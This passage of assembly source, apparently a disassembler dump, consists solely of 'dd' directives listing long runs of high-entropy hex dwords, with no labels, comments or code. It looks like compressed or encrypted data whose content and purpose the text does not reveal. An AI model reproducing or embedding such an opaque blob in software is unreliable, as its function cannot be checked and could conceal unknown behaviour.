		dd 8FECE0E4h, 4DEC8909h, 0C5D57129h, 577BEE93h,	787B4500h
		dd 90EBA165h, 0C3A44C4Ah, 26A2DF7h, 17002DD9h, 0D00BC22Ch
		dd 3B39837h, 0F2AE769h,	0FCB25236h, 0BF63C85Dh,	759D7CCDh
		dd 2F150B31h, 0A3DE28A6h, 0B1E78140h, 70072D1Eh, 927C554h
		dd 11B4B784h, 0BD258415h, 823191F0h, 20E46E7Fh,	0E92514B9h
		dd 0C2D0711Ch, 0FC06A3E7h, 4A9259Ah, 9CBEAA73h,	0CCA55090h
		dd 0BA51BD85h, 6AC8899Ah, 0DC7156C6h, 86001B46h, 78802DC7h
		dd 234A3C30h, 0C51063E7h, 0BC9C9126h, 4C207D1Ch, 0B2130DF7h
		dd 642E051Dh, 0D5A4815Ch, 0A4F73B1Bh, 0A0D952A0h, 0D5972309h
		dd 4B1CD0F1h, 22868A2Eh, 0AF13B712h, 0DD92A5E8h, 3116410Ch
		dd 5AD594A3h, 6E73B147h, 0AA9156DCh, 7305D588h,	0C8FB7780h
		dd 2471E409h, 0B2AE1438h, 70D4389Ah, 0BBFC888h,	6915303Eh
		dd 82C96B56h, 5716F963h, 4C126B13h, 0C8BA1FA1h,	0F922B590h
		dd 0B0C84E22h, 3713728Dh, 0E5B0D18Bh, 0BD2BA8E9h, 27F19F39h
		dd 55136909h, 0C0CC0EECh, 9BFB13Dh, 19C58901h, 311C6470h
		dd 71E50995h, 45F42F54h, 54B81B12h, 893724CAh, 545C0BA5h
		dd 70DD64CBh, 372300E7h, 613878B8h, 0A890B7DFh,	0FE07DE00h
		dd 6A7AF155h, 0F35C959Bh, 29C0B04Ah, 9D2A519Dh,	8BC3B151h
		dd 89A5DAF9h, 12A5DE1Dh, 416DE27Dh, 31F28C7Fh, 0E2BD1909h
		dd 3571B52Eh, 0DD1A4B42h, 2428CFBDh, 529C8402h,	0FFDC5C67h
		dd 0FE49366Ch, 0CB800476h, 0A3B95BF7h, 97B9DE87h, 0AFD40907h
		dd 95DF2DDEh, 8B95FE58h, 7CB7F79Bh, 0EFAC0F12h,	67FBFC25h
		dd 2D61A170h, 81CDC02Bh, 0A7B44EC0h, 0D95702A6h, 0FCD2B973h
		dd 25A9E65Dh, 0AF739DB3h, 2A181951h, 73342B04h,	9B8C72AAh
		dd 12BC7F0Eh, 0E62E56EFh, 0D39AD289h, 37128B9Fh, 8F261940h
		dd 53880D2Fh, 0A621D84Dh, 95CFB905h, 62EE05B0h,	688B8E52h
		dd 4D619100h, 0C7911B5Bh, 87EA0980h, 73D178h, 0D38AF631h
		dd 779B0FC5h, 89C0A93Ah, 71CBC26Ch, 9797A8A3h, 5C2F305Ch
		dd 16A65D48h, 0DF972FE2h, 6952FA8Bh, 1FAD5B4Bh,	281756B8h
		dd 18047839h, 89B81B89h, 3D7D9DA2h, 0A16D89D9h,	2869DB82h
		dd 23659090h, 0A57BD3BDh, 8EDC9754h, 0F8AA2C8Bh, 4F0C113Ch
		dd 68009AA2h, 45F9856Ch, 0BF1EC71Bh, 4854705h, 0CBBDE1FFh
		dd 0CA003CB8h, 179D7BC8h, 4ABE788Eh, 0F30BAE9h,	9715C5BDh
		dd 97459C1Ch, 4016E2Eh,	0D6573D7Eh, 1FB9DFC1h, 12B0CE6Ah
		dd 7AEF0480h, 1134019Ch, 0A21E157Ch, 0B1650760h, 95E0200Dh
		dd 0DAEBEC51h, 0E132C42Bh, 0DC600911h, 0E01DCC7h, 1D1870E3h
		dd 3738F515h, 0B7801280h, 1700CC5Ch, 0D8CD1107h, 13E4F9Ah
		dd 24B89327h, 2EA1F0C0h, 17269FC8h, 0ACA07Ch, 0B9962BA7h
		dd 4C129FDFh, 0ECE15FBEh, 1DF511Ah, 0F642E7D1h,	0E65CC2E5h
		dd 1F0DB72Fh, 0A8A4D20Ah, 0F28D804Bh, 1C940550h, 52B3BE40h
		dd 24D1E45Fh, 6018E487h, 25469EF3h, 995B56F5h, 184B5A5h
		dd 0EF888F85h, 0ED322EFEh, 4B705E29h, 57061255h, 8B795DCAh
		dd 9068D601h, 866AF5A3h, 84B58441h, 0C21F1CF5h,	69725D9Eh
		dd 61A60157h, 73DE6D5Eh, 0EC31718Fh, 37000CBFh,	0F6D930FBh
		dd 9F8501E2h, 0AA59A3AAh, 0D6F5BED8h, 0F1001B46h, 75D933Ah
		dd 4D51F577h, 25628B80h, 0DED95631h, 38071946h,	30F9BE88h
		dd 8850FA9h, 611FD6h, 76887FB7h, 0E9092F39h, 811E20B3h
		dd 2FF531D7h, 285E752Eh
		dd 4BD81ACCh, 9F948534h, 0E3B5801Dh, 26A29061h,	0C98EFC14h
		dd 0F2DB0EF7h, 3446BCE7h, 87CDEBB5h, 0EADA162Bh, 38003F7Bh
		dd 0F5A4FA2Ah, 0B21634DCh, 2682F709h, 0C7890405h, 0AEDD8576h
		dd 6A5A418Eh, 0C6F700CDh, 6A9772F3h, 16077736h,	538F0F83h
		dd 0AD60BB63h, 123EF381h, 0BC0E2E98h, 90D18E4Bh, 0B2CE5038h
		dd 1D690171h, 5F8249BCh, 75E1C8F4h, 125B5E59h, 2ADEB180h
		dd 8DC0C7DEh, 6803B76Bh, 4B30F302h, 5CD98BCDh, 0D30C0ED3h
		dd 0B59E322Ch, 0D39D164Bh, 2A91216Ah, 0ADDDF8DFh, 0D011400Eh
		dd 0DD72CB1Dh, 4B49D684h, 0FA81775Fh, 0D350C2AEh, 6480FE98h
		dd 0C0F25BF7h, 10DEDC17h, 0B990456h, 0A8129301h, 0D4125F04h
		dd 1EACF5B2h, 0D2611026h, 0F14B05DEh, 0C1DC6310h, 8BC2E8CBh
		dd 0D79822FEh, 8B256F1Ch, 49D573FBh, 4E38FFFCh,	6EAA3A64h
		dd 27200105h, 406FC1D5h, 12787330h, 0EE820F0Bh,	1CEB9Ch
		dd 0EC53A249h, 27B00790h, 0F1A7E502h, 5E597134h, 5F60DF09h
		dd 57AF828h, 0ACF2BFDBh, 0AE1CBF7Dh, 0D3B80F52h, 2A0466E1h
		dd 6A8F2D9Eh, 0CD9FE7A5h, 0BA9DE078h, 0FD9CE500h, 5E0AD0E8h
		dd 38FE2FA0h, 5916E50Ah, 80838525h, 0DDF1AFEBh,	0C0A4DE6Bh
		dd 0BBBD305Fh, 869F04D9h, 0AB088D0Fh, 0F8078D8h, 896117E3h
		dd 9DD699C9h, 61AED945h, 3BF8BF30h, 58B31012h, 6FFA603Eh
		dd 0E3D35501h, 0E6612530h, 0DC19D27h, 0CCFF0433h, 2100A32Dh
		dd 71D7206Fh, 7AA60F1Ah, 332A018Fh, 852DCAEBh, 0FC64450h
		dd 2FC08718h, 19BFF7FAh, 91CD4000h, 28B5B065h, 1AC0252Eh
		dd 0BD009444h, 340C6E14h, 7C6862h, 0C4DA0602h, 490B4118h
		dd 5F245B71h, 4709EF96h, 0E2A156ADh, 0EE5C0329h, 8454E3E9h
		dd 80E970AEh, 1A979CE7h, 6CD5D6C0h, 174AC5FEh, 0BF12B9E7h
		dd 318C0BB0h, 0ADA7B575h, 0ED04626Ch, 0F8C09650h, 0E94BA0B8h
		dd 9875B8D3h, 2C1525F9h, 1751D073h, 0E0F01F18h,	223BD948h
		dd 0C120BC0Ch, 72AF59Dh, 0DB2586C5h, 3B0020E2h,	1D4FBDBh
		dd 0DC091F06h, 7176AB46h, 255BA8D2h, 0E5C0B29h,	51237B5Ah
		dd 20C23BDFh, 0ECE7D711h, 8FFBE9h, 294D2BC9h, 8C5F478Dh
		dd 0ED45CFB8h, 2F2D6168h, 25C2B59h, 0BB6F4236h,	18FAB6A3h
		dd 2653BD9Fh, 85098977h, 50354157h, 2B72202Bh, 7800761Dh
		dd 864B7156h, 16D5A1E7h, 0BD681C5Bh, 58E11E5h, 4A6BF07h
		dd 89DBE9E8h, 30181B59h, 0DBCC107h, 0B370BA8Bh,	148AEF81h
		dd 0AE5A502Eh, 0BD165D12h, 0BEA6D31Eh, 10DD5BE0h, 3DB52909h
		dd 0C532791Bh, 80DC9F4Eh, 0D1411E52h, 32A100BAh, 0FFCC626h
		dd 44841580h, 0E5000710h, 39A9447h, 3239685h, 3C200EEDh
		dd 0C0F5D533h, 37C729C0h, 0FC2C29B5h, 21BF09BAh, 0C2602D15h
		dd 94E9626h, 0E2B35D32h, 0D395447Ah, 18187966h,	0DB790BB2h
		dd 865C6B91h, 161546D6h, 9AB45C1h, 3D7914FBh, 7BAE6CC5h
		dd 748F2D74h, 56AD16F5h, 0AC77AD06h, 8F2D8C14h,	40104FC6h
		dd 716068C6h, 586CAD04h, 71BC8AB3h, 78C2BBB0h, 0E91CB809h
		dd 0E301D577h, 2BC18BF5h, 0A9E4D1A6h, 0FC8A00BCh, 319C3717h
		dd 0C4014BBDh, 0FAE6AAFDh, 0AA8A75A4h, 7F0FC549h, 4255179Ah
		dd 0A638DFECh, 0AC026505h, 0B9BD4EBBh, 0EF6FD534h, 0A195F640h
		dd 1537976Ah, 8CBF480h,	0AD78B28h, 0E8B7CC32h, 0B44E0286h
		dd 69DB064Ch, 9DB32070h, 127A76Eh, 3BE3FA8Dh, 11A59D33h
		dd 0E2E0B7Bh, 0D15B01D4h, 0B767D38Ch, 19842F3Dh, 0F565FC89h
		dd 94ADC315h, 0D09D43B8h, 13ED20E8h, 0B3403596h, 0EA3414h
		dd 3D6E6704h, 80EF2AC7h, 5EFE8B16h, 0D2D116FAh,	4D576ADDh
		dd 0D348E007h, 70EE8C03h, 0CFA4CA27h, 0ABEB4585h, 22D0039Ah
		dd 0CF817BC9h, 6A13F3EFh, 0DD46FCB7h, 0E064C0B0h, 9FBD6C12h
		dd 4A3A5214h, 0D1254FE9h, 1440A054h, 4A1B767Eh,	80B8B81Eh
		dd 0EAB36D11h, 32CC1229h, 0A9BC1623h, 0E55B2516h, 285E12A6h
		dd 5A00D7C0h, 60DDEB4Ch, 76A875Ch, 16CB8102h, 907C730Dh
		dd 4B3E4h, 5061F08Bh, 90341BFh,	53907320h, 514E2558h, 0E8ED4DF9h
		dd 5705E5D7h, 0DB19B88Eh, 0F9CDB101h, 843E4F41h, 12DA561Ch
		dd 8471E363h, 0F813B458h, 3EC7093Ch, 0C0455469h, 43E36AD0h
		dd 56616D25h, 80C62519h, 7AB50125h, 605027FEh, 0D6061855h
		dd 8790BD61h, 0E7952BC5h, 0D698241Bh, 0D98B4512h, 8A12A8F6h
		dd 0ECCCABFEh, 0D85060DFh, 5B75BDD7h, 1F046A58h, 0BBEBFDB5h
		dd 0E62F63D9h, 4EE928B6h, 84F29907h, 23E0D2D9h,	16EB4E7h
		dd 0A50BDDECh, 0F7FD4EFBh, 775E61C2h, 0C4572EC4h, 0B0A64CA3h
		dd 0E626DA10h, 0E5087870h, 71E40B12h, 257A0B08h, 800C5BC9h
		dd 70B86045h, 9520ECB3h, 0C6303B10h, 8F475602h,	6661013Ah
		dd 0E1DE9546h, 2F7A2480h, 4F1F130Ah, 5E48B803h,	9582E3ACh
		dd 0D357059Dh, 0B31027E8h, 75002E77h, 7A31ADDh,	4A90AEDh
		dd 0D4D153FDh, 3D9E8C97h, 5031A01h, 0FCB935A5h,	1201C960h
		dd 0F6187185h, 0F38132A6h, 7A75EF5h, 0E8318529h, 0D2CF8140h
		dd 272512B1h, 0D3FB608Bh, 29006676h, 0B944CB10h, 1F4F0CDh
		dd 0F3A73728h, 2E6F4E1Dh, 7D1C2122h, 5B7CD0C4h,	7288675Eh
		dd 48AEB635h, 6BBB0161h, 2F7BCB61h, 2666BC0Fh, 970E5CB2h
		dd 89254570h, 45BAE60Ah, 45B5F00Bh, 88333144h, 0FF6E8D8Bh
		dd 79DEC903h, 3D221197h, 9ED0FBFh, 16A5CA08h, 9589FE04h
		dd 0D73967F6h, 65ADB51Ah, 7C444ED5h, 0B4C4E04h,	579AF91Ah
		dd 0D06B695Ch, 670508EEh, 7BA782B9h, 9D75708Dh,	70E12112h
		dd 9B2A6CF1h, 51EB80B3h, 0AB71D72h, 3EC5E0D3h, 0A29A00FCh
		dd 2BFC104Fh, 3ABBC002h, 5E2A0EACh, 0D3E44B32h,	2FB0484Ah
		dd 0C0AE005Bh, 0EBC5E79Ah, 0AB01F1D4h, 91A1CBDBh, 0A7428C71h
		dd 2F6256CDh, 42D24756h, 9F65353Bh, 711380D9h, 6DDC97Eh
		dd 12ACE349h, 0AC912839h, 61003221h, 0C2FD9D23h, 0BFC43057h
		dd 0C1241038h, 79EDA536h, 0E82C58A8h, 268BCB65h, 0B735557Fh
		dd 19C4B0ADh, 5EB3B088h, 845EEC8Dh, 41BC070Dh, 204E68BDh
		dd 1A10B723h, 820141D1h, 0CE6814A7h, 28D5E7C3h,	0CC2FE27Ah
		dd 2701339Ah, 8A89D195h, 56169A5Fh, 0A1BB40F3h,	4658E18Fh
		dd 9B0C22F1h, 51C3817Ch, 2F66F171h, 4DF60874h, 758C93A0h
		dd 7862034Ch, 40BBEBA8h, 55D622Fh, 64AED58Ch, 0A0BAE67Eh
		dd 92B3AD9h, 641B84A4h,	0E740E3D4h, 1DC679h, 8D8AF0A3h
		dd 0CD65CCAAh, 0CBC9E401h, 90E1C10Fh, 7F0D282Fh, 0EF9044Ah
		dd 92013CE9h, 6D8808E2h, 22EB8187h, 5C623132h, 142451E1h
		dd 9A59E10Ah, 6EEE6092h, 0B7A712D3h, 3766B0E1h,	0C6DF4FF2h
		dd 915C9540h, 0D3C214F4h, 2A0096DDh, 927ED12h, 324A55B5h
		dd 7A1C7EE3h, 31DE2F01h, 0E3FD00DEh, 0F8E84A9h,	1B71B9CAh
		dd 1348D89Dh, 85699529h, 546BAA95h, 4C031723h, 0B2BE10B6h
		dd 0EF25F89h, 0C28D5F4Bh, 940B9B6Bh, 0B7500987h, 771F421Ch
		dd 0EB257137h, 0F0AB8C1Bh, 7E95135Ch, 0DC9C7C3Fh, 52CAEEC0h
		dd 6D4E48D5h, 0AA229912h, 0B04E5ECEh, 0FC758AD3h, 0FA144BD9h
		dd 56D6C1F2h, 9000C173h, 0C48CD458h, 73B7B5Ah, 0BC373A75h
		dd 0D134625Eh, 0B0AE5A61h, 0B5585A10h, 1056DAA0h, 0C9BE0365h
		dd 0B1C8014Bh, 0F16F2E2Fh, 39011D23h, 8BB6A915h, 0E0F682D2h
		dd 0B938E01Bh, 2D6D486Ah, 9661CF18h, 0A038E9FEh, 48B95E01h
		dd 989710BCh, 2DBD0B03h, 0FB732B65h, 4EE38085h,	9DF860AEh
		dd 2D85054Dh
		dd 0D598943h, 0DEC32892h, 0AE829584h, 4F78DA73h, 0E0DB0180h
		dd 9B68D6BBh, 96AA2244h, 78A03BE6h, 361652E5h, 0ECF80EBFh
		dd 15BD8BC1h, 63E00733h, 97503527h, 56DCBD09h, 545CA609h
		dd 0BB82BC26h, 310F3872h, 0DE49FADEh, 0D39B60B4h, 1301B3C4h
		dd 2BE4316h, 826B5F53h,	895D963Bh, 0D96E5548h, 187058C0h
		dd 27F4D868h, 89402355h, 4A77F727h, 94B8074h, 0DEFFB085h
		dd 5917821Fh, 3CB65C41h, 0AB50A193h, 6CBF4260h,	7D905D78h
		dd 0D25CDBCh, 2A6441F2h, 0B812A27Bh, 954E0263h,	1949E529h
		dd 0BDE4E877h, 98115FB1h, 0C3E2AA5Eh, 133EA300h, 643B29F3h
		dd 7C4704BDh, 0E0177273h, 615E5FB2h, 3A015D6Eh,	7C54424Dh
		dd 11230CEh, 0B318516h,	3FB4C9B9h, 43260133h, 0A0D40C8Eh
		dd 0F1DCE44h, 9CBF8393h, 9C000429h, 8EBD55D2h, 48318A6h
		dd 0D8B1AAF0h, 0A202B8EEh, 0BF268027h, 0D23AE9DBh, 0B29BBE0Eh
		dd 0FA137783h, 0EBF5B894h, 0E01C1593h, 5F1C4A01h, 2B168A0Fh
		dd 0F00FF0E7h, 6BE0432Dh, 0DAE26930h, 0B6871800h, 0E073CAE9h
		dd 0EE1497A5h, 1BF2BE43h, 2C8AA30h, 4DE4415Bh, 0B177AE3Ch
		dd 14F0D093h, 52B7F638h, 0F4D3E9D9h, 2217BF01h,	67AAAFF0h
		dd 0B4EBF206h, 0CFAFB75Ch, 5535408Ah, 1D7E61C6h, 0DA3049Fh
		dd 0A5DF290Eh, 80579656h, 651C4647h, 6A50E780h,	434B27D5h
		dd 4538F58Dh, 0C82D1F80h, 8D04BE34h, 0FA475B96h, 0B2C098EAh
		dd 506861B7h, 648B08AFh, 0E96E155Dh, 39002459h,	4111934Eh
		dd 3D8E04C2h, 0AACA99A7h, 1823E66Bh, 6B61CC01h,	242F3982h
		dd 3BA6AB11h, 0D2DD27E7h, 7055A3BFh, 29D4984Fh,	49DC0CB9h
		dd 0D3818CB0h, 9A9DA32Eh, 5A3EC625h, 89E9BD51h,	717109D8h
		dd 9CF3273Ch, 264EFC70h, 9ED59B8h, 765E3061h, 0D57C51C0h
		dd 83CC1FC8h, 0DB528584h, 9C01EAB0h, 0C17082C0h, 23736B2Fh
		dd 21B1214h, 520B613Ah,	0E04E9077h, 0B3AB00A9h,	3C326768h
		dd 0FB1206A5h, 86F15F11h, 40B9C579h, 4D16F56Bh,	11A4E604h
		dd 89BCBACCh, 89829B5Bh, 0A244F50Bh, 0E1B58909h, 21C67D1Ch
		dd 0C8FA887Fh, 35F77000h, 0D607C693h, 38180BA5h, 6D5E8201h
		dd 19C1BBC1h, 2529C220h, 82EE26F0h, 0E0DD580h, 91DCB795h
		dd 0FB098B14h, 181B594Bh, 3EDD01B1h, 12DE8E25h,	59843B39h
		dd 859D0081h, 5F2D7628h, 99293FAh, 0C7CCED9Dh, 6032B6EEh
		dd 75ACDF5Ah, 0A15802AAh, 0D7B43060h, 8BD1C843h, 13637CFEh
		dd 0DC7B1429h, 8B75277Dh, 0C525545Ch, 2A631A38h, 8AEDB7FFh
		dd 0BAD6F83h, 54760F89h, 99175FEFh, 7D50C382h, 0BB853CD1h
		dd 0BF52C323h, 80E0A6E6h, 560A6BD1h, 0EC49B531h, 0F1BD5B92h
		dd 0CCF3DBC2h, 9744CEF5h, 0C413DDB5h, 1927E9ECh, 57D25Eh
		dd 78B68491h, 0A4010A16h, 8D09B005h, 0DC6B0E49h, 2450BB88h
		dd 949770DDh, 0DD575F3Dh, 8E706E2Ch, 602E08h, 0BA3A0E87h
		dd 7235747Ch, 33DD794Bh, 0E4B0D436h, 8B13542Fh,	12F98D31h
		dd 0B06CC627h, 1D3C4A00h, 0C8752B11h, 0A8B712ECh, 0F599BCD2h
		dd 4F023F6Bh, 21BD23E1h, 0BBE996A1h, 0F0B93AF2h, 3347ECBDh
		dd 76DBD10h, 4A596150h,	80CCFD0Ah, 0B8B7C3Fh, 0EA9F7DBBh
		dd 0EF0195C1h, 2FB329EAh, 2709E608h, 0DD25AB78h, 0A563E516h
		dd 28D640DCh, 1E96BEDh,	0C29E281h, 6B015330h, 4B613388h
		dd 0F86FD4F5h, 8B1C806Ah, 0CB9C6Bh, 0B54477D0h,	5376A614h
		dd 9DB26009h, 2DE7FE48h, 55D2955Bh, 9B99A3C6h, 0CCEBB492h
		dd 0C509832Ah, 746A7FFFh, 5D01F492h, 3A3627ABh,	0B36F9D12h
		dd 850B0369h, 90161B2Eh, 801FEh, 9AAACB8Eh, 8D4E4BB9h
		dd 6BEA601h, 59793BA1h,	61500A6Ah, 0C4C905CCh, 803A9E4Ch
		dd 68088B0Bh, 37941762h, 0E48FC8F3h, 7DFFD300h,	2805707h
		dd 6E0503E2h, 0FCC26F33h, 6B0F1598h, 0BD1189FAh, 854B1655h
		dd 0CF20EBBBh, 2CBB11CDh, 9337BDFDh, 15D9825Fh,	88045C29h
		dd 1D22F931h, 0FF9CDF02h, 575B818Ch, 4B8B0A92h,	0E5ACCE56h
		dd 0B7828310h, 0E1D15BACh, 7397A925h, 0D643A651h, 66115E00h
		dd 6084A682h, 908D4A89h, 61C1B5A4h, 0D35BBA97h,	63C5048h
		dd 0FA35EC0Bh, 4EBCE0A5h, 0D1FF259Eh, 0D07084D3h, 232F09C9h
		dd 16095F54h, 1AE8E575h, 0B91B337Ah, 0D849F009h, 40FED616h
		dd 79F64E12h, 140D6702h, 412B9E3Eh, 382602B7h, 0F11F91F0h
		dd 22499C05h, 0EBB0984h, 3A356056h, 94B6B800h, 4DF8613Bh
		dd 83BD8817h, 512541ACh, 0D74D9B57h, 0D85989h, 9E7BB38Ch
		dd 905B6C5Eh, 5B1D0C1h,	0E9D09815h, 2CAF574Ah, 0A790D3F5h
		dd 0E035ED9Fh, 0D161B2BCh, 0D7C5A62h, 6B230733h, 0FC4AB4FAh
		dd 4EDE6AAFh, 37FF5C60h, 0EC865A74h, 79BB02FBh,	4A658C71h
		dd 703FF391h, 76014AD0h, 5D145A4Fh, 0E66A2592h,	4E6E545h
		dd 114CE80Fh, 0BDE9B3A4h, 91578AC9h, 0EEA90513h, 0CA7FAE4Ah
		dd 0BE9BF800h, 78F4402Ah, 22EE3400h, 43D85BBh, 0FF6A2F38h
		dd 0BA027237h, 0F41A752Dh, 0C1AA4579h, 721FAD1Dh, 62B271A9h
		dd 25F7810Fh, 7B5E8977h, 55F91AE5h, 864A8257h, 11BB2005h
		dd 0E6E05C83h, 0E0F97025h, 880287E3h, 0A4977DB3h, 42A2D7E5h
		dd 0AEF85C17h, 0D88B0342h, 885E51BAh, 31D2E6Dh,	55083D89h
		dd 0D1BF9AE8h, 3EFFCCE4h, 0E0D255ECh, 90BF53AFh, 9C75C7Eh
		dd 5FA870D3h, 605EB478h, 86D99BACh, 2B61F4A0h, 0F98AC81Fh
		dd 0EB7D1C0h, 64C9B589h, 5E7CFB29h, 1B019506h, 9785768Dh
		dd 235ACB46h, 5109BCF3h, 85815EF5h, 6BC30CD2h, 60ABBAD4h
		dd 604CE388h, 0E5086725h, 0C99504A8h, 62E15F27h, 0C2988F0Fh
		dd 892536B6h, 45B1E455h, 0D3E83A21h, 7275AC96h,	0B7CADC4Bh
		dd 12536740h, 0F65BD9B7h, 42860BB0h, 0E0FDCD4Ch, 4626B26Bh
		dd 1347CD27h, 30CD887h,	5B50097h, 0A68B4967h, 840C52F3h
		dd 6C578DB9h, 4A73B5F8h, 12035A5h, 0C9BD23D9h, 6CB9010Eh
		dd 9D298387h, 12570B65h, 0E14647h, 0A726D5FAh, 987F178h
		dd 0FCE57212h, 258DAF88h, 305DA4BEh, 93C02B4Ch,	7E478FEh
		dd 0F7BDD40Fh, 425DC0D8h, 17D22BC4h, 8809810Fh,	0F88A0340h
		dd 0E51E97C3h, 0AF09C098h, 0CD5F738Dh, 100FC0B0h, 0BD260BF1h
		dd 5E49FC69h, 782EFE13h, 7605D0A4h, 43C14C5Dh, 9D3E07A5h
		dd 0D506432h, 0ED293040h, 206AE52Bh, 0FA4BBF22h, 0CD7CE7CDh
		dd 0F2D88A12h, 2594B5C3h, 47BD0284h, 0E43DAB4Ah, 4A4D4320h
		dd 0BA2F733h, 4C116DBDh, 0E4B9008Fh, 633CF005h,	1D00F768h
		dd 0DE91846Ah, 2746ADB3h, 295C555Ah, 1446D6h, 336BBFB5h
		dd 5BFF2782h, 92329BE1h, 81EDCCBBh, 0A813CB04h,	94BC361Dh
		dd 7D0576A1h, 0B53EE94Fh, 93282EC4h, 60055E65h,	230273FBh
		dd 96F13907h, 0E6200BF7h, 5C3A598Eh, 0B413D6ABh, 0EDC00460h
		dd 919210Dh, 1102CE3Fh,	2650FE86h, 4E20B245h, 174D6E60h
		dd 0F8C8B1D9h, 0C7CC3E2Ch, 899BF980h, 15BE0C18h, 0C3958812h
		dd 0BD7703A8h, 0BD841459h, 0AEBD12A1h, 28C18A8h, 0EB7C1F66h
		dd 98CAFCADh, 0F893A85Ch, 19237BABh, 0FB505431h, 8F006723h
		dd 82E2090h, 0C00F0B5h,	0A226D616h, 7E1E58DAh, 0B6F74ACFh
		dd 301AB2C9h, 45057D85h, 0D4FF3447h, 2B759405h,	76612DAFh
		dd 0D04EA006h, 3BF602B0h, 5668EC6Bh, 2BAF0B5Dh,	24404472h
		dd 0DE0A2404h, 6A09EF17h, 2FC1B69Bh, 2E808E6Fh,	0D9B35BE8h
		dd 3BA63796h, 25E35900h, 88234311h, 0DD6D01A3h,	4C964442h
		dd 0FB92C38Bh, 0C9BBF590h
		dd 792F1171h, 70355B58h, 546067DAh, 0A54E3392h,	1590540h
		dd 0B529759Dh, 68AD2B35h, 0EB22C6C0h, 0D4E70BDBh, 1597511Eh
		dd 0B3AA403Eh, 0D812E139h, 1317C9BEh, 0B644F1F5h, 0BC77EFFh
		dd 4463807Eh, 397800E0h, 0A3C88228h, 0AB5C442Dh, 48DD00DDh
		dd 0D611EE35h, 56D0623Fh, 0A275C59Dh, 5C021330h, 6B02F436h
		dd 0D2CD3334h, 400C7E5Ch, 13423245h, 77B41725h,	86213AAh
		dd 5B132BEDh, 0B71326A3h, 4E22A277h, 0D2C0019Bh, 6A36571Dh
		dd 0D816AC4h, 2F1E2DBAh, 0FF167C6Ah, 5812BE29h,	0DB4E61F7h
		dd 0E55D8002h, 29C4C65h, 0BC7D12DAh, 8E7B8929h,	0D08A978h
		dd 7EC1E2A6h, 42AC6AF8h, 0B4DDA64Bh, 0EB4EE70h,	0A2550289h
		dd 7DBD3367h, 0F3D590D5h, 82E24EA0h, 6855FC72h,	7ED18B57h
		dd 1DD17BBh, 31780039h,	2AEBBDBFh, 5DAC644Ah, 962A7858h
		dd 0B582B2D1h, 156411EDh, 20B54D61h, 0D2AB79F0h, 10B9BDB0h
		dd 13C46880h, 0FEF73FC1h, 6339A4C9h, 4918BB1Dh,	0E85561EFh
		dd 27423BD8h, 9D5108DFh, 0DE3DB0B2h, 0FB562D4Dh, 25BBD6h
		dd 97E92DE6h, 7F4EBC4Bh, 38131E0h, 8AA5F8E7h, 67C99022h
		dd 3146DDDDh, 6D0DDCF7h, 0D96E3EF7h, 0F884313Dh, 0D838EB80h
		dd 8299E869h, 0CE1804BFh, 9DFFCF33h, 0BE830595h, 615B7A44h
		dd 9E06EAAh, 0D6C2A1AAh, 31A53AD9h, 46F64074h, 4BE94D16h
		dd 5D356C8Ah, 0BDD1E956h, 7774A93Eh, 0D6250225h, 0C203672Ah
		dd 0A0691859h, 0EC437D44h, 0B3124B3Ch, 0B52904DEh, 8EAE0A19h
		dd 6A6AF955h, 0D3F10242h, 4DCCE47Ah, 0A6DEE0A1h, 42024068h
		dd 0EB81E709h, 0FD00C2F1h, 6E1C3D69h, 30685560h, 3B8B00CCh
		dd 15117FEEh, 810126D1h, 2894D9D7h, 283A5F4Ch, 0BD86CCCCh
		dd 190F4635h, 462C208Ch, 0BFF6A37Bh, 8A5B6446h,	94C4E1A2h
		dd 117AAF04h, 0A3C51D25h, 9A4C9A51h, 0B28B0085h, 6EEF3886h
		dd 0D104EEF5h, 0B565BA9h, 5F0988BBh, 64086DB7h,	0F78B6018h
		dd 76585866h, 0B2798513h, 55F58908h, 1D44CDEDh,	683A98h
		dd 0FAC6FCCBh, 0B01AF848h, 88B2D04Bh, 0B570D600h, 8B3C58E8h
		dd 0A5A04B02h, 57422F62h, 7600CFE6h, 877A4C9Bh,	98FF48h
		dd 7F94EAE4h, 61AC4BA7h, 994B96E6h, 0E36F4E84h,	5931C26h
		dd 0AEDAEDDFh, 0FA80E92Ah, 8F6C6AB5h, 1C48905h,	6684C796h
		dd 28BAE985h, 0D78A110Dh, 0DA58353Ch, 37CE418Eh, 69A5E0DAh
		dd 0B5891652h, 5F96C279h, 5B11BADDh, 2D5D5008h,	40785C97h
		dd 0B164A8BBh, 31CC544Eh, 5E139853h, 0BC7E57D9h, 2701AA9Dh
		dd 8BF6C07Ah, 0EFB560D5h, 0A0FEBB01h, 0C2834B1Eh, 8CBC9C39h
		dd 3DB8A20Ch, 9731B2A1h, 0BF047D66h, 652A87BBh,	8BC4BCE8h
		dd 0D3B5E8FAh, 19C9C0F9h, 53B59D50h, 0CED6D10Dh, 9B009C46h
		dd 847995DEh, 4B0FA5Eh,	0E7F531F0h, 0B3288C66h,	8BA51B0Eh
		dd 69A1A792h, 0DB5EC720h, 0D97609FCh, 7529304Ch, 40226F7Dh
		dd 6E620A9Ch, 10B15203h, 85148A0Fh, 3A5560AAh, 0B398B9DDh
		dd 252D902h, 0A4418D89h, 34BF5FFCh, 2FF8341h, 8A70D4Ah
		dd 259D330Bh, 45503125h, 0E28873h, 9463C8F6h, 0D60CA176h
		dd 66AB538Fh, 0DED94EA6h, 9C3FC419h, 51BD9180h,	0EBD3952Bh
		dd 0FC2A187Ah, 0B68480Fh, 0ED126D12h, 0F8F2D254h, 0B3843C88h
		dd 5AC96B4h, 570EB0DDh,	0D728BF66h, 2EFBA7FDh, 0DF510F32h
		dd 0DE3B96AAh, 79BB8C29h, 0D59D0904h, 6B2FC9A1h, 21823D2h
		dd 0D9F7C487h, 0B10B98F4h, 82B7DD23h, 0F61D30AFh, 0C4260BA0h
		dd 6E02B464h, 45D70DFDh, 0D38102BDh, 0D15D1D97h, 8373EB9Ah
		dd 892A6871h, 0A240D0EFh, 0B8622404h, 0E3E8DA7Dh, 0AB9D89C5h
		dd 95C6F5B0h, 0AD402C4Fh, 4E4DD4D7h, 4AD48F2Ch,	1A8A5F9h
		dd 6A37F51Dh, 7CCC7384h, 1104904h, 0FFF1D1E9h, 0DCD87EC6h
		dd 0B94EB062h, 49D0540Dh, 2C694477h, 1C65856h, 6E115224h
		dd 0CCF93F61h, 71606EA9h, 0B9A6953Dh, 12588029h, 77F694E3h
		dd 17049A00h, 48BBC66Fh, 37720253h, 60659D11h, 25F5C5DFh
		dd 91E32Eh, 0DFAD6283h,	5BFE1D63h, 8227B809h, 0F990615Eh
		dd 1ADE05FFh, 9461FBE6h, 0E76E50B4h, 0FAC44AE5h, 0D60091F2h
